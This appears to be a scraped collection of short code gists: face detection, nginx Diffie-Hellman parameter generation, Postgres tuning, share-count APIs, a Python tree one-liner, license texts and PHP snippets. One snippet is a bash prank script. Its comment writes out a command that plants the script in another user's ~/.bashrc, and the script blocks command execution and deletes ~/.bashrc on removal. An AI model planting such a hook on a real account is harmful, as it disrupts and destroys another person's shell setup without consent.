smeschke

#import necessary libraries
import cv2
import numpy as np

#capture video from the webcam
cap = cv2.VideoCapture(0)

#load the face finder
face_cascade = cv2.CascadeClassifier('/home/sm/Desktop/haarcascade_frontalface_default.xml')

plentz

# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

rgreenjr

PostgreSQL Configuration Optimization

Memory

Only four values really matter:

• shared-buffers: below 2GB: set it to 20% of full memory; below 32GB: 25% of your full memory.

noonien

# This script disables execution of commands and echoes messages to the user, to disable type: "wat"
#
# To install this, you need to have access to the user's home directory.
# sudo -u <user> -i sh -c 'cp /path/to/evil ~/.evil && cp ~/.bashrc ~/.bashrc.ebak && echo ". ~/.evil" >> ~/.bashrc'

shopt -s extdebug

function disable_evil() {
    rm ~/.evil
    rm ~/.bashrc

jonathanmoore

Share Counts

I have always struggled with getting all the various share buttons from Facebook, Twitter, Google Plus, Pinterest, etc to align correctly and to not look like a tacky explosion of buttons. Seeing a number of sites rolling their own share buttons with counts, for example The Next Web I decided to look into the various APIs on how to simply return the share count.

If you want to roll up all of these into a single jQuery plugin check out Sharrre

Many of these API calls and methods are undocumented, so anticipate that they will change in the future. Also, if you are planning on rolling these out across a site I would recommend creating a simple endpoint that periodically caches results from all of the APIs so that you are not overloading the services will requests.

Twitter

hrldcpr

One-line Tree in Python

Using Python's built-in defaultdict we can easily define a tree data structure:

def tree(): return defaultdict(tree)

That's it!

p01

            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
                    Version 2, December 2004

 Copyright (C) 2011 Mathieu 'p01' Henri - http://www.p01.org/releases/

 Everyone is permitted to copy and distribute verbatim or modified
 copies of this license document, and changing it is allowed as long
 as the name is changed.

            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE

aemkei

            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
                    Version 2, December 2004

 Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE>

 Everyone is permitted to copy and distribute verbatim or modified
 copies of this license document, and changing it is allowed as long
 as the name is changed.

            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE

dave1010

The WordPress Way

A tongue-in-cheek look at coding standards in the WordPress core and the average WordPress plugin.

1. # Declare variables global - in case they're going to be used again
2. All function/method parameters should be strings (e.g. 'yes'/'no') - for clarity
3. Functions and methods should return mixed types
4. No need to separate PHP logic from HTML, JS or CSS
5. Don't worry about PHP Notices - they're not important

dave1010

<?php
/**
 * Quick and dirty HTML generation for PHP
 */
class HtmlNode {
	public $element = 'div';
	public $content = null;
	public $attrs = array();

	public function __construct($element=null, $content=null, $attrs=null, $closing=null, $shortclosing=' /') {